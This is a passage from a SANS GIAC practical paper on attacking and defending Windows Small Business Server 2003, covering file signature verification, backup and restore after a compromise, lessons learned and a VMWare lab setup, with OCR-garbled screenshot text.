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=+ Command Prompt

C:\>siguerif
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have been digitally signed so that any changes to these
files can be quickly detecte:

Click Advanced ta customize verification options.
Click Start to check for any system fils that ars not
digitally signed

Scanning files.

-
i ] Close Advaced |

|| = Fite signature verifica... B s

Figure 101
To run File Signature Verification type sigverif at a command prompt (Figure 101).

| B command Prompt

tBstartl | = @

| @) Help and Support Center

= Command Prompt

C:\>siguerif
C:N>

E¥ signature ¥erification Results i o =] S|

The following files have not been digitally signed:

Name [ 1n Folder |__Modified | File Type | Wersion |
v clll c\windowsisystemaz Bi20/2003 DLL File 10.10.6.1

e vzz_mnode. di c\windowsisystemaz Bj20jz003 DLL File 1.0.0.0

e VIMOLIEE. SYE c\windowsisystemazldrivers 8j20/2003 Y5 File 5.0.2195.1620
L VX _Sw03.3YS clwindowsisystem32idrivers 8/20/2003 SYS File 10.10.6.1

Files found: 3438. Signed files: 2499, Unsigned Files: 4. Files not scanned: 935

|[EF File Signature Yerifica... = 7:02 M
Figure 102
The Signature Verification Results (Figure 102) show two dlls and two drivers that are

not signed. These files were installed by VMWare (see Extras section for an
explanation of VMWare).

| &) Help and Support Center | B Command Promet

t[-}startl |2 &
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Command Prompt

C:\>siguerif

Gz

File Edit Format Wiew Help
Microsoft signature verification
Lo Tile generated on 1/9/2004 at 7:02 PM
os Platform: windows (x86). wersiaon: Build: 3750, csoversion:
Scan Results: Total Files: 3438, S1gned 2499 unsﬁgned 4, NOT scanned: 935
File Modified version Status Catalog signed By
[c:“dacuments and settingshall usersihapplication data\m1chsoft\netwark\connect1Dns\pbk]
sharedaccess. ini 2/21,/2003 2:5.2 signed NTS Microsoft windows PL
[c: \pragram files™common f11es\m1crasaft shared\dao]
dao360 89,/10,/2003 2 signed MNTS5. CAT Microsoft windows PL
[c: \pragram Tiles common f11es\m1crasaft shared\msﬂnfo]
Teinfos. 8,/10,/2003 signed MTS5. CAT Microsoft windows PL
ms1nf032 exe 8/10,/2003 2 5 2 signed MNTS5. CAT Microsoft windows PL
[c: \pra?ram Fileshcommon filesmicrosoft sharedyspeeach]
sapi.c 8,/10,/2003 2:5.2 Signed MNT 5. CAT Microsoft windows PL
sapi.dll 5,/10,/2003 2:5.2 Signed MNT 5. CAT Microsoft windows PL
sapisvr.exe 9,/10,/2003 29,2 Signed NTS5. CAT Microsoft windows PL
[<:wprogram filesscommon Filesymicrosoft sharedyspeechh1033]

B =l Eu‘l di11 59,/10,/2003 2:5.2 Signed MNT 5. CAT Microsoft windows PL
[ 5 rogram filesscommon filesymicrosoft sharedytriedit]
dhtmqed. ocx 9/10,/2003 2:5.2 Signed MNT5. CAT Microsoft windows PL
triedit.dl] 9/10,/2003 2:5.2 Signed MNT5. CAT Microsoft windows PL
(= \prugram Fileshwcommon files microsoft sharedywgx]
o, o1 9,/10,/2003 2:5.2 Signed MNT5. CAT Microsoft windows PL
[c: \prugram Fileshcommon filesymicrosoft sharedywebh server extensionsh5osvkin]
fowiz. exe 2/13,/2003 2:5.2 Signed FP5.CAT Microsoft windows PL
Tpiautl.dl] 2/13,/2003 2:5.2 signed FP5.CAT Microsoft windows PL
fpsavss.dl] 2/13,/2003 252 Signed FP5.CAT Microsoft windows PL
Tpsawel.dl] 2/13,/2003 2:5.2 Signed FP5.CAT Microsoft windows PL
Tpencode.dl] 2/13,/2003 2:5.2 signed FP5.CAT Microsoft windows PL
Troexed]].d11 2/13,/2003 2:5.2 signed FP5.CAT Microsoft windows PL
Fomme. d17 2/13,/2003 2:5.2 Signed FP5.CAT Microsoft windows PL
owsadm. exe 2/13,/2003 2:5.2 signed FPS .CAT Microsoft windows PL
owsrmadm. exe 2/13,/2003 2:5.2 signed 5.CAT Microsoft windows PL
[c: \pr\jgram Tiles™common ‘F‘l'les\m‘l(rns\:lft shared\weh sarver Extens‘mns\ﬁO\h‘m\lOE}]
Fommcsat. 2/13,/2003 Rl d Microsoft windows

<1

& start| | (22 &

| &) Help and Support Center | B Command Frampt

| = Fil= Signature Yerification | Ul SIGYERIF.TXT - Notep...
Figure 103

The Signature Verification program produces a log of its scan results (Figure 103). The
log lists all signed and unsigned files.

Windows File Protection can be used to clean up and verify the removal of many of the

files used by attackers.
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SBS 2003 Backup and Restore Wizards
In the event a GSE customer’s system was compromised, GSE can use SBS 2003
Backup and Restore Wizards to recover the system to its previous non-compromised
state. GSE has configured GIACBikes backup jobs to include the files necessary to
perform a complete system recovery. In addition to all system and data files, the GSE
backup jobs backup the “system state”. The system state is all Windows registry
settings, Active Directory (AD), SYSVOL, and other system configuration settings. By
backing up data files, system files, and system state settings, a SBS 2003 server can be
restored to its previous good state if needed.

ﬂfstartl | = &

| <z server Management

Backup Configuration Wizard

welcome to the Windows Small Business

Server Backup Configuration Wizard

Thiz wizard configures and schedules backups of the server. rou can use the

backup to recover the server or individual filss.

Using this wizard, you car

Back up ta tape of hard disk

Specity falders to erclude from the backup

Define a backup schedule

Specify an onsite user ta manage the backup media
Canfigure the server ta retain deleted s-mails and files

To continue, click Nexst.

Cancel |

"1 Backup Configuration ...

Figure 104

W E 72iem

The Server Management application (Figure 104) provides a Backup Wizard that GSE
uses to configure GIACBikes backups.

Page 99 of 116 — Attacking and Defending SBS 2003

© SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.



~§ server Management

<z File Action  Wiew Favorites  Window  Help

=12 x|

TS|

e o E=m| @2

————

| Home Fags

;i;startl |3 &

| 22 server Management | =1 Backup configuration ...

Figure 105

"8, Manage Small Business Server Backup
[=l-=3] Standard Management

-2 To Do List =
B[y Information Center
-3 Internal web Site £af Home T U Y ey
#1455 Fax (Localy [S| Backup Configuration Wizard @ view Last Backup Lo
&I Monkaring and Reparting | -
[+ w s Internet and E-mail E1  Backup Data Summary
1) Shares (Local) pen “You an view and modify the data included in the backup,
- Backup
#1173 Licensing %

B Users By default. all information required to successfully restore your computer is backed up. You can exclude

B Ciert Camputers . unnecessary folders from the backup.

w ] Server Computers

- Prinkers N Backup Data:

-+, Distribution Groups Folder [ Size | Status

3 Security Groups e [518 01 GB Included etails

LA User Templates E:% 0.03GB Ineluded

) &
- %] Advanced Management k- CiAClientappst 0.69GB Ercluded fiew Log
- E:Backup Filesh 0.00 GB Excluded iew Log
Exclude Folders. Lalculate Folder Sizes
More Infarmation
< Back Hest > Cancel

Tl 10:13 P

The Backup Wizard automatically selects all disks to be backed up, but does allow
directories to be excluded (Figure 105). The wizard will not allow system directories to
be exclude that would be needed for a system restore. It also automatically excludes
the backup directory if it is located on a local system disk.

=% Server Managemenkt

===l

47| File  Action Yiew Favorites  Window  Help

IS

I EN:)

|+ Home Page
El-23:] Standard Management
2 To Do List
o Information Center
& Internal Web Site
£5 Fax (Local)
%j Monitoring and Reparting
Inkernet and E-mail
Shares (Local}
= Backup
“4 Licensing
B Users
- B Client Computers
ol Server Computers
w4 Printers
) Distribution Groups
? Security Groups
A User Templates

- %] Adwanced Management

;t;startl &3 &

™2 Manage Small Business Server Backup

T

fa} Home ol cd b fee cmoaonn
[3]Backup Configuration wizard
=

Define Backup Schedule

“r'ou can specify the day(z), time. and rotation schedule for the backup.

=]

@ wiew Last Backup Log

k-
Vi .
Select the day(s] on which you want to perform a backup.
[ Monday Saturday
B ¥ Mond: ™ Saturd
= ¥ Tuesday I Sunday
N ¥ wednesday e tails
% ¥ Thusday
5 iew Log
F Friday s
= iew Log
Q Start backup at:

I11.UUF‘M 'I

Giiens e sy o Beclue
=

E =

(B2 e (Ot (s et eatiterm s suffieron: itk apeee

Mare Information

< Back

[ e | Cancsl

| 22 server Management | 1 Backup Configuration ...

Figure 106

=

™ 10:16 PM

The backups can be scheduled and the number of backup sets established (Figure
106). The wizard recommends two or more backup sets for redundancy in case the
backup job fails or the system crashes during a backup job.
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=2l Eile  Action

Server Management =151 x|

view  Favorkes  window  Help e

«[= | Em| @@

[ Home Page Manage Small Business Server Backup
=)z Standard Management

4| Client Computers
|| Server Computers
=4 Printers

M, Distribution Groups

The server can keep deleted =-mail messages for a specified number of days.

Murber of days

26 To Do List
2] Information Center
[]---%3 Internal Wsh Sits {a¥t Home P P e e
-85 Fax (Local) Pk Conguration wizard——— O PR
[]---Iwk] Monitoring and Reporting R . B
& S ———— Storage Allocation for Deleted Files and E-mail
Bl Shares fLocal) Wou can configure the server to temporarily retsin copies of deleted files and e-mail.
2] Backup
{3 Licensing
£ Users ¥ Retain copies of permanently deleted e-mail messages

30 :ll etails

Security Groups
K User Templates

- i Liog
-] Adwanced Management I¥ Enable periodic snapshots of users' shared folders
The server can take & snapshot of all the fles in the shared folders, Users can then racover few Log

previous version of a file or a file that has been deleted,

Qudy ¥ ¥ ¥ X0

Mawinmurn space allosated for snapshots:
200 =
= MB

The recemmended space allocated for snapshats is 10 percent of the tatal disk space.

More Information |

cBack [ Hews | Cancel |

#istare| | (G & | sn] server management Il:l Backup Configuration ...
Figure 107

Exchange e-mail and user file backup settings are set in this dialog (Figure 107).

Windows 2003 provides a facility that allows users to recover individual files they have

deleted without the assistance of an administrator if this feature is activated.

_is1 ]
=] Fle Action  Wiew Favorites  Window  Help |_ = 5”
< = | INENNE

Hame Page

2d To Da List
<7 Informatio
5 Internal
-&2 Fax (Local
_"_1 Manitaring
& Internet a
L Shares (Le
= Backup
Licensing
v B Users

3 client Com
o] Server Cal

=4 Printers
-, Distributiol

Security &

-IH User Temp
- 4] Advanced Mar

"= Manage Small Business Server Backup
[=1-42:] Standard Management

25 Backup U ed] RT=1 ] =

Job Edit Wew Tools Help

Welcome Backup | Riestore and Manage hedia | Schedule Jobs | Last Backup Log

Click to select the check box for any dive. folder o e lasrs i A 2] x|
= a Desktop MName |
B1-[] & My Computer T] @M @ e = T Eansal ] ing 1/9/2004

-] == 32 Floppy 4] =1
Bl Local Disk 0] |5 @ M
Bl <ee Mevw Volume [E:]
Ll ] "M
-] & CD Drive (D] Drive: Ic
e Swstem State
[} My Dosuments Label: [Small Business Server Backup (0] BkF created
8* Microseft Exchange < - -
Status:
& My Network Flaces At [Backing up files fram your computer
Frogress: mEE
Elapsed: Estimated remaining:
Time: I Emin, 42sec. | 57 min., 21 sec
Processing [EAProgram Files\Eschsrvrbintmimig32. i
“ | Processed Estimated
HES I 4020 | 18672

', Bresbaulp clesiinaiiem: Bytes: I 265, 411494 | 2.435.092.808
_? [File = Start Backupl

Backup media of fils name:

E:sBackup Files\Small Busine Browse... I

d_—,‘startl =&

The backup job is running (Figure 108). A detailed log of the backup job is show below.

| 421 server Managemeri ||b!, Backup Utility - [Untit_... & & 10:28 PM
Figure 108
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1/9/2004 10:19 PM

Date: 1/9/2004
Time: 10:19 PM
User: administrator

Backup Runner started.

Launching NTBackup: ntbackup.exe backup "@C:\Program Files\Microsoft Windows Small
Business Server\Backup\Small Business Backup Script.bks" /d "SBS Backup created on 1/9/2004
at 10:19 PM" /v:yes /r:no /rs:no /hc:off /m normal /j "Small Business Server Backup Job" /I:s /f
"E:\Backup Files\Small Business Server Backup (01).bkf" /UM

NTBACKUP LOG FILE: C:\Documents and Settings\SBS Backup User\Local Settings\Application
Data\Microsoft\Windows NT\NTBackup\data\backup03.log

=====================<BEG|N NTBACKUP LOG FILE>=====================
Backup Status

Operation: Backup

Active backup destination: File

Media name: "Small Business Server Backup (01).bkf created 1/9/2004 at 10:19 PM"

Backup (via shadow copy) of "C: "

Backup set #1 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"

Media name: "Small Business Server Backup (01).bkf created 1/9/2004 at 10:19 PM"

Backup Type: Normal

Backup started on 1/9/2004 at 10:21 PM.

Backup completed on 1/9/2004 at 11:14 PM.

Directories: 1842

Files: 16119

Bytes: 1,921,626,360

Time: 53 minutes and 15 seconds

Backup (via shadow copy) of "E: New Volume"

Backup set #2 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"

Media name: "Small Business Server Backup (01).bkf created 1/9/2004 at 10:19 PM"

Backup Type: Normal

Backup started on 1/9/2004 at 11:14 PM.

Backup completed on 1/9/2004 at 11:14 PM.

Directories: 3

Files: 0

Bytes: 20,744

Time: 2 seconds

Backup of "SBS2003\Microsoft Information Store\First Storage Group"

Backup set #3 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"

Media name: "Small Business Server Backup (01).bkf created 1/9/2004 at 10:19 PM"

Backup Type: Normal
Backup started on 1/9/2004 at 11:14 PM.

Backup completed on 1/9/2004 at 11:15 PM.
Directories: 4
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Files: 5

Bytes: 25,207,598

Time: 39 seconds

Backup (via shadow copy) of "System State"

Backup set #4 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"

Media name: "Small Business Server Backup (01).bkf created 1/9/2004 at 10:19 PM"

Backup Type: Copy

Backup started on 1/9/2004 at 11:15 PM.
Backup completed on 1/9/2004 at 11:25 PM.
Directories: 211

Files: 2553

Bytes: 485,099,620

Time: 10 minutes and 12 seconds

Verify Status

Operation: Verify After Backup

Active backup destination: File

Active backup destination: E:\Backup Files\Small Business Server Backup (01).bkf

Verify of "C:"

Backup set #1 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"
Verify started on 1/9/2004 at 11:25 PM.

Verify completed on 1/9/2004 at 11:49 PM.

Directories: 1842

Files: 16119

Different: 0

Bytes: 1,921,626,360

Time: 23 minutes and 14 seconds

Verify of "E:"

Backup set #2 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"
Verify started on 1/9/2004 at 11:49 PM.

Verify completed on 1/9/2004 at 11:49 PM.

Directories: 3

Files: 0

Different: 0

Bytes: 20,744

Time: 1 second

Verify of "SBS2003\Microsoft Information Store\First Storage Group"
Backup set #3 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"
Verify started on 1/9/2004 at 11:49 PM.

Verify completed on 1/9/2004 at 11:49 PM.

Directories: 4

Files: 0

Different: 0

Bytes: 25,207,598

Time: 7 seconds
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Verify of "System State"

Backup set #4 on media #1

Backup description: "SBS Backup created on 1/9/2004 at 10:19 PM"
Verify started on 1/9/2004 at 11:49 PM.

Verify completed on 1/9/2004 at 11:51 PM.

Directories: 211

Files: 2553

Different: 0

Bytes: 485,099,620

Time: 2 minutes and 24 seconds

NTBackup finished the backup with no errors.
Backup ended at Friday, January 09, 2004 11:51 PM
Backup Runner finished.

Notice that by default the backup job is verified to ensure that the backup data can be
restored.

51
o3| FElle  Action  Vew Favorites  Window  Help | — = =]
e = | e RN=
|5 Home Page ®= Manage Small Business Server Backup
[El-+#x] Standard Management
#-2H Ta Do List =
o B Trormasen Conter RE=TEY
[F- 24 Internal Web Site &} Home Fle Edit View Favortes Tools Help | o
630 Fax (Localy Confiqure Backup . Log
[e] !-"f] Monitoring and Reparting g sackum @Bk - 8 - (<] 2] & | /- search " Favorites @' Media £ | - B
[#-gf 1 [nkernst and E-mail < beckup How Address [ CiProgram Filssiicrosoft Windows Small Business Server|Backupirestrdoc. hitrn B> E |Lmks »
[H-g2) Shares (Lacal) ¥ Madfy the Backup
-2} Backup Schedule . =
{75} Licensing %% MadFy Storage For Restoring Your Server
1 0T Deleted Files and E-mal For an updated version of this procedure, see the Windows Small Business Server
4} Client: Camputers ¥ Configure My Document: 20032 web sitefhttp: //go.microsoft.com/fwlink/7LinkId=171173. |
|| Server Computers Redirection . i
= Printers % Learn How to Restore after a system failure or other disaster, you can restore your server from your
-8, Distribution Groups the Server latest backup. You can restore to the same computer, in the event of a software
Security Groups 3 failure, or you can restore to new hardware. You can also restore individual files and
.[B User Templates % Restore Individual Files e-mails in the event something is accidentally permanently deleted.
B1- % Advanced Managernent 4 Restore SharePoint Files
24 Refresh Data Restore
& More Information In the event of a system failure, use the following procedure to restore your server
from the latest backup.
Warning
e If you are restoring to a different computer than that which was ariginally
running Windows Small Business Server, make sure that the following is the
zame between the original and the new computer:
e SCSI controller. Howewver, you can restore to a computer that has an
IDE controller if the original computer had SCSI.
s Motherboard chip set.
o Mumber of processars,
« Hard disk size. The hard disk must be the same size or bigger than the
original computer,
e Drive letter of the boot partition.
We recommend restoring to the same brand and model of the original LI
=] J My Computer 4
T E

& StartI | @B & | 4] Server Management ||@ Restoring Your Serve...

Figure 109

% 11:20 4M

Sever Management provides the instructions for restoring a server from the latest
backup (Figure 109). The basic steps are:

1. Reinstall SBS 2003 from the installation CDs.
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2. When the “Finalizing Windows” part of the installation begins, press F8 to open
the “Windows Advanced Options Menu”.

3. In the “Windows Advanced Options Menu” select “Directory Services Restore
Mode”.

4. Run “ntbackup” from the run menu or from a command prompt and select the
Restore Wizard.

5. Reboot the system.

Windows Server 2003 for Small Business Server Setup

HYelcome to Setup.
Thiz portion of the Setup program preparez Microsoftd{R>
Hindows<{R>» to »un on your computer.

To set up Windows now,. press ENTER.

To repair a Windows dinstallation using
Recovery Console. press -

To guit Setup without installing Windows. press F3.

ENTER=Continue R=Repair F3=0Quit

Figure 110
Booting from the SBS 2003 installation CD starts the installation process (Figure 110).

£ [e—
= 2 Windows

Collecting A dependable infrastructure

information

Dynamic it on the pro
Update i =

Preparing
installation

Installing
wWindows

3

Setup will complete in
approximately:
9 minutes

Figure 111

Installation proceeds as normal until a base SBS 2003 operating system is installed
(Figure 111). When prompted for the administrator password, be sure to use the same
password as the system being restored.
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indows Advanced DOptions Menu
Please select an option:

Safe Mode
Safe Mode with Networking
Safe Mode with Command Prompt

Enable Boot Logging

Enable UGA Mode

Last HEnown Good Configuration (your most recent settings that worked)
Directory Services Restore Mode (Hindows domain controllers only)d
Debugging Mode

Start Hindows Hormally
Reboot
Return to 05 Choices Menu

se the up and down arrow keys to move the highlight to your choice.

Figure 112

When the second phase of the SBS 2003 install begins, press the F8 key to bring up
the Windows Advanced Options Menu (Figure 112) and select the Directory Services
Restore Mode.

[Safe Mode Microsoft {R) Windows (R} {(Build 3790}

Run 2 x|

— Twpe the name of a program, Folder, document, or
= Internet resource, and Windows will open it For wou,

Jpen: | ntbackup j

(a4 I Zancel Erowse, ., |

Safe Mode

i seare| | (B & 2:51 PM

Figure 113

Directory Services Restore Mode boots the system into Safe Mode with support for the
restore of Active Directory. In Safe Mode, only the basic operating system services are
started. Running ntbackup (Figure 113) starts the Backup or Restore Wizard.
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ISafe Mode Microsoft {R) Windows (R} {(Build 3790)

Backup or Restore Wizard

what to Restore
o can restore any combination of drives, folders, or files.

Drouble click ah item on the left to see itz contents. Then select the
1 check box next bo any diive. folder, or file that pou want to restore.

Browse... I
Items ko restare:

= DQ File Mame I Sizel
EII:l B Small Business Serve Mo entries Found.

o5 (21 C:

o[z E: olurne
-] 70 ElE \Micros
w1-BA S Sester State %

I JR— i3 i3

< Back I Mext > I Cancel

[safe Mode

o Starl:I J [ & J“.:é. Backup or Restore Wi... L 254 PM

Figure 114

Select the Restore option and pick the objects to restore (Figure 114). For this system,
the C: drive has all the system and data files to be restored for the server and System
State restores the registry and other system settings and configurations.

[Safe Mode Microsoft {R) Windows (R} {(Build 3790}

Backup or Restore Wizard

Completing the Backup or

@ Restore Wizard
o —

“ou have created the following restore zettings:

Restare from: Multiple media.
Type: File

Restare to: Original locations

E mizting files: Always replace

R

To cloge thiz wizard and start the restore, click Finish.

Recycle Bin

[safe Mode Safe Mode

o StartI J E & J“.:L Backup or Restore Wi... T 2156 PM

Figure 115

Be sure to select the “Restore to Original Locations” and “Always Replace Existing
Files” options (Figure 115) to make sure the basic install files are replaced by the files
from the system being restored.
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Microsoft () Windows (R} {(Build 3790}

21

The restore iz complete. Cloze |
To see detailed information, click Report. ﬂl

Cirive: IS_l,lstem State

Label: ISmaII Business Server Backup [01] bkf created

Status: ICompIeted

Elapzed:

E'. backup01.log - Notepa k

File Edit Formak Wiew Help

rRestore completed on 1102004 at 3:24 PM.
Directoriaes: 1842

Files: 16119

Eytas: 1,921,626, 360

Time: 28 minutes and 5 seconds

Backup of "sSwystem State', Restored to'sSystem sState”

Backup set #4 on media #1
Backup description: "sSBS Backup <reated on 1972004 at 1O_|;I
Lal %

< |

[safe Mode

ft‘Startl J @‘ é J kq!q Restore Progress II __5- backupil.log - MNotep... 333 PM
Figure 116

When the restore is complete a log of the restore job can be checked (Figure 116).
Both data files and System State were successfully restored.
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Figure 117

After a reboot, the original system loads (Figure 117). Even the Exchange Server email
is restored. The SBS 2003 system is now restored to a known good state.
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When a hacker gains administrative privileges on any host, the only sure way to
completely cleanup the system is to perform a complete restore from the last known
good backup. Windows File Protection may prevent and cleanup some types of
attacks, but as we have seen with the AFX rootkit, exploits that employ dll injection
techniques can defeat it.

SBS 2003 has good built in capability to adequately defend small businesses against
attacks. Internet Connection Firewall provides basic firewall protection against many
attacks. SBS 2003 default configuration settings for running services further limits
attack vectors. Microsoft Update Service provides timely security patches when
vulnerabilities are discovered. Windows File Protection and the Backup or Restore
Wizard makes recovery of the system straightforward.
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Lessons Learned

Even though GIACBikes was protected from the msrg07 attack launched by BADBikes
by the default security settings of SBS 2003 and by problems with the exploit, the
potential for similar attacks to be successful was still a possibility. So to better
implement security best practices, GSE planned the following enhanced security
measures for GIACBikes and its other customers.

1. Implement a Network Intrusion Detection capability. GSE plans to install SNORT
or a commercial intrusion detection system to provide real time warning of
attacks against customer servers.

2. Run vulnerability scans on a regular and frequent basis. GSE plans to use
Nessus or a commercial vulnerability scanner to run weekly vulnerability scans
on customer networks. This step will allow GSE to respond faster to potential
attacks since the security state of customer systems will be known when
vulnerabilities and exploit information is released.

3. Improve SBS 2003 security event logging settings to include more security event
categories and security event failures. GSE plans to enhance the default audit
settings of the following security events.

a. Account Logon events (i.e. user logon success and failure)
b. Account Management events (i.e. add or change user or group)
c. Directory Service access (i.e. add or change AD object)

4. Upgrade from Internet Connection Firewall to Internet Security Accelerator (ISA)
Server or a hardware based firewall. ISA server is an application level firewall
and proxy server with much better capability than ICF. ISA provides protection
from some common denial of service attacks and includes much better logging
and alerting than ICF. ISA server can run on the SBS 2003 server platform or on
a separate Windows 2003 server. A hardware firewall provides better security
and logging as well, and adds a more diversified layer of defense.

5. Realizing the increased level of effort and cost associated with providing
enhanced security monitoring to its customers, GSE plans to look into a tiered
service and price schedule for these services. GSE sees an opportunity to
become or partner with a Managed Security Service Provider (MSSP) and to
specialize in providing high security SBS 2003 systems to the market.

GSE's report to GIACBikes concerning the Messenger Service Buffer Overflow
vulnerability reassured GIACBikes that their SBS2003 system was safe from known
attacks targeting this vulnerability. GSE suggested a follow up meeting to discuss
enhancing security for the GIACBikes network as an added service from GSE.
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Extras

VMWare Lab

All networks and systems used in this paper were setup using VMWare. VMWare
(http://www.vmware.com/) is software that establishes virtual machines running various
operating systems (i.e. Windows 2003, XP, RedHat Linux) on a host computer.
Depending on the amount of processing power (CPU speed), memory, and disk space
on the host PC, a number of virtual PCs can be setup and networked together.
VMWare provides virtual network switches that allow different networks to be setup.
One network can be the attacker network and another can be the victim network.
Networks can be set up to represent ISPs or other network entities. Another feature of
VMWare that is useful for security testing is its ability to take a “snapshot” of a virtual PC
and save that snapshot to disk. Then the system can be attacked and compromised,
rootkits installed, etc. After the attack and its effects are documented, the snapshot can
be restored so the virtual PC is back to its normal state. Then a new variation of the
attack can be tried without having to reload the operating system.

VMWare Best Practices
Below are some best practices for setting up and using VMWare based on my
experience.

1. Host PC — The host PC can be Windows or Linux based. My experience is with
the Windows based version. The host PC should have as much processing
speed, memory, and disk space as you can afford. My system was a Dell laptop
with 2.4 Mhz CPU, 1 GB ram, and 40 GB disk drive. This system provided
adequate resources to run up to 3 Windows virtual machines and 1 Linux virtual
machine simultaneously.

Of the supported Windows versions that will host VMWare, Windows XP
Professional provides the best balance of stability and resource usage to provide
optimal VMWare performance. When loading Windows XP to host VMWare,
load only the basic operating system and disable any unneeded services. The
idea is to leave as much processing power, memory, and disk space as possible
to the virtual machines.

2. Virtual machines — Virtual machines can be almost any version of Windows or
Linux (or even MS DOS). Plan out you virtual lab ahead of time. A virtual
machine can have a variety of devices (CD, Floppy, USB, sound), but don’t
install devices you do not need such as sound or USB. VMWare supports setting
up different IP subnets and supports DHCP and NAT for each network. If you
decide to use static IP addresses you can disable DHCP and NAT for a small
performance boost.

3. Operating your VMWare environment — Start only the virtual machines you need
for a test or scenario. Use the snapshot feature to save the state of a virtual
machine before performing a destructive test or major reconfiguration you might
want to reverse. A virtual machine is stored on the host PC as a standard disk
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file, so it is easy to backup and save base OS installs and then use them over
and over again in different situations. This saves the time it takes to do an OS
install and configuration from scratch.

VMWare is a great tool for security research and testing. Add a Cisco PIX 501 (combo
firewall and four port switch) for an inexpensive and portable security lab.
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